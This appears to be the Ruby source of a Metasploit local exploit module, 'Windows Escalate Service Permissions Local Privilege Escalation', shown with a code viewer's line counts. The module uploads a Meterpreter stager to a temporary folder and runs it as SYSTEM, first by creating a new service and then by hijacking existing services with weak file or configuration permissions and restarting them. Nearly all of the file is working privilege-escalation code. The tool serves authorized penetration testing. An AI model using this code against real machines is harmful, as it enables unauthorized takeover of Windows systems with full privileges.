197 lines
7.6 KiB
Ruby
197 lines
7.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = GreatRanking
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include Msf::Post::Windows::Services
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
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'Description' => %q{
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This module attempts to exploit existing administrative privileges to obtain
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a SYSTEM session. If directly creating a service fails, this module will inspect
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existing services to look for insecure file or configuration permissions that may
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be hijacked. It will then attempt to restart the replaced service to run the
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payload. This will result in a new session when this succeeds. If the module is
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able to modify the service but does not have permission to start and stop the
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affected service, the attacker must wait for the system to restart before a
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session will be created.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'scriptjunkie' ],
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'Arch' => [ ARCH_X86 ],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'WfsDelay' => '5'
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},
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate'=> "Oct 15 2012"
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))
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register_options([
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OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
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])
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end
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def exploit
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# randomize the filename
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filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
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# randomize the exe name
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tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
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raw = payload.encoded
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exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
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sysdir = session.fs.file.expand_path("%SystemRoot%")
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tmpdir = session.fs.file.expand_path("%TEMP%")
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print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
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begin
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#
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# Upload the payload to the filesystem
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#
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tempexe = tmpdir + "\\" + tempexe_name
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fd = session.fs.file.new(tempexe, "wb")
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fd.write(exe)
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fd.close
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rescue ::Exception => e
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print_error("Error uploading file #{filename}: #{e.class} #{e}")
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return
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end
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#attempt to make new service
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#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
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print_status("Trying to add a new service...")
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adv = session.railgun.advapi32
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manag = adv.OpenSCManagerA(nil,nil,0x10013)
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if(manag["return"] != 0)
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# SC_MANAGER_CREATE_SERVICE = 0x0002
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# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
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# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
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newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
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"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
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if(newservice["return"] != 0)
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print_status("Created service... #{newservice["return"]}")
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ret = adv.StartServiceA(newservice["return"], 0, nil)
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print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
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adv.DeleteService(newservice["return"])
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adv.CloseServiceHandle(newservice["return"])
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if datastore['AGGRESSIVE'] != true
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adv.CloseServiceHandle(manag["return"])
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return
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end
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else
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print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
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end
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else
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print_status("No privs to create a service...")
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manag = adv.OpenSCManagerA(nil,nil,1)
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if(manag["return"] == 0)
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print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
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end
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end
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print_status("Trying to find weak permissions in existing services..")
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#Search through list of services to find weak permissions, whether file or config
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serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
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#for each service
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service_list.each do |serv|
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begin
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srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
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if srvtype != "16"
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continue
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end
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moved = false
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configed = false
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#default path, but there should be an ImagePath registry key
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source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
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#get path to exe; parse out quotes and arguments
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sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
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sourcemaybe = session.fs.file.expand_path(sourceorig)
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if( sourcemaybe[0] == '"' )
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sourcemaybe = sourcemaybe.split('"')[1]
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else
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sourcemaybe = sourcemaybe.split(' ')[0]
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end
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begin
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session.fs.file.stat(sourcemaybe) #check if it really exists
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source = sourcemaybe
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rescue
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print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
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end
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#try to exploit weak file permissions
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if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
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session.railgun.kernel32.CopyFileA(tempexe, source, false)
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print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
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moved = true
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end
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#try to exploit weak config permissions
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#open with SERVICE_CHANGE_CONFIG (0x0002)
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servhandleret = adv.OpenServiceA(manag["return"],serv,2)
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if(servhandleret["return"] != 0)
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#SERVICE_NO_CHANGE is 0xFFFFFFFF
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if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
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0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
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print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
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configed = true
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end
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adv.CloseServiceHandle(servhandleret["return"])
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end
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if(moved != true && configed != true)
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print_status("No exploitable weak permissions found on #{serv}")
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continue
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end
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print_status("Restarting #{serv}")
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#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
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servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
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if(servhandleret["return"] != 0)
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#SERVICE_CONTROL_STOP = 0x00000001
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if(adv.ControlService(servhandleret["return"],1,56))
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session.railgun.kernel32.Sleep(1000)
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adv.StartServiceA(servhandleret["return"],0,nil)
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print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
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#Cleanup
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if moved == true
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session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
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end
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if configed == true
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servhandleret = adv.OpenServiceA(manag["return"],serv,2)
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adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
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0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
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adv.CloseServiceHandle(servhandleret["return"])
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end
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else
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print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
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end
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adv.CloseServiceHandle(servhandleret["return"])
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if datastore['AGGRESSIVE'] != true
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return
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end
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else
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print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
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end
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rescue
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end
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end
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end
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end
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